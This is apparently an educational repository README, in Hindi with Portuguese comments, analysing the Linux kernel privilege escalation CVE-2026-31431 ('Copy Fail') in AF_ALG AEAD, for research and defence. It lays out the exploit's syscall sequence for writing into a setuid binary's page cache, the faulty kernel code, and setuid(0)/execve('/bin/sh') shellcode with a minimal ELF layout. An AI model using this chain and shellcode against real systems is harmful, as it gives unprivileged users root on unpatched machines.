
# CVE-2026-31431 का शैक्षिक विश्लेषण AF_ALG AEAD इन-प्लेस ऑपरेशन के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि, जिसमें तकनीकी मूल कारण, पहचान और शमन शामिल हैं।
शैक्षणिक तकनीकी विश्लेषण Linux कर्नेल की Dirty Pipe (2022) के बाद से सबसे महत्वपूर्ण कमजोरियों में से एक का।
यह रिपॉजिटरी शोध, अध्ययन और सुरक्षा के लिए है। यहां कोई कार्यशील exploit वितरित नहीं किया जाता है।
CVE-2026-31431, जिसे Copy Fail नाम दिया गया है, Linux कर्नेल में एक स्थानीय विशेषाधिकार वृद्धि (LPE — Local Privilege Escalation) कमजोरी है। यह किसी भी बिना विशेषाधिकार वाले उपयोगकर्ता को सेकंडों में root एक्सेस प्राप्त करने की अनुमति देती है।
| विशेषता | मान |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS स्कोर | 7.8 HIGH |
| प्रकार | Local Privilege Escalation (LPE) |
| उपतंत्र | crypto/algif_aead.c — AF_ALG |
| परिचय | Kernel 4.14 (commit 72548b093ee3, जुलाई 2017) |
| सुधार | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| खोजकर्ता | Taeyang Lee — Theori / Xint Code |
| सार्वजनिक प्रकटीकरण | 29 अप्रैल 2026 |
| सार्वजनिक PoC | हाँ — ~732 बाइट्स की Python स्क्रिप्ट |
कल्पना करें कि ऑपरेटिंग सिस्टम के पास एक कार्यशील मेमोरी (जिसे page cache कहा जाता है) है जहां वह उपयोग में आने वाली फाइलों की प्रतियां रखता है। जब आप कोई प्रोग्राम चलाते हैं, तो सिस्टम उस प्रोग्राम को इस मेमोरी में लोड करता है और वहीं से चलाता है — सीधे डिस्क से नहीं।
Copy Fail एक सामान्य उपयोगकर्ता को एक विशेष प्रोग्राम (एक setuid बाइनरी, जैसे su कमांड) की मेमोरी में मौजूद प्रति को बदलने की अनुमति देती है, बिना डिस्क पर मूल फाइल को छुए। डिस्क पर फाइल बरकरार रहती है, लेकिन जब प्रोग्राम चलाया जाता है, तो सिस्टम मेमोरी का दूषित संस्करण पढ़ता है।
यह ऐसा है जैसे किसी शेफ के खाना बनाते समय उसकी मेमोरी में रेसिपी बदल दी जाए — मूल रेसिपी बुक नहीं बदलती, लेकिन जो व्यंजन निकलता है वह पूरी तरह अलग होता है।
परिणाम: दूषित प्रोग्राम हमलावर के कोड को root अनुमतियों के साथ चलाता है।
जो इसे विशेष रूप से खतरनाक बनाता है:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## यह तकनीकी रूप से कैसे काम करता है
### प्रवाह का सामान्य अवलोकन```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
यह बग crypto/algif_aead.c में रहता है। 2017 में, AEAD ऑपरेशन को प्रदर्शन बढ़ाने के लिए इन-प्लेस में परिवर्तित किया गया था:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
`authencesn` एल्गोरिदम IPsec के Extended Sequence Number (ESN) के बाइट्स को पुनर्व्यवस्थित करने के लिए डेस्टिनेशन बफर को *scratch space* के रूप में उपयोग करता है:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
लेखन पूरी तरह से VFS को बायपास करता है। संशोधित पृष्ठ को कर्नेल के writeback तंत्र द्वारा कभी dirty के रूप में चिह्नित नहीं किया जाता है। डिस्क पर फ़ाइल बरकरार रहती है। हैश-आधारित अखंडता उपकरण (aide, tripwire, inotifywait) कुछ भी पता नहीं लगाते क्योंकि वे डिस्क की निगरानी करते हैं, page cache की नहीं।
यह exploit zlib के साथ संपीड़ित 160 बाइट्स का एक मिनी-ELF एम्बेड करता है। डीकंप्रेसन के बाद, निष्पादन योग्य भाग है:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**न्यूनतम ELF संरचना (कुल 160 बाइट्स):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")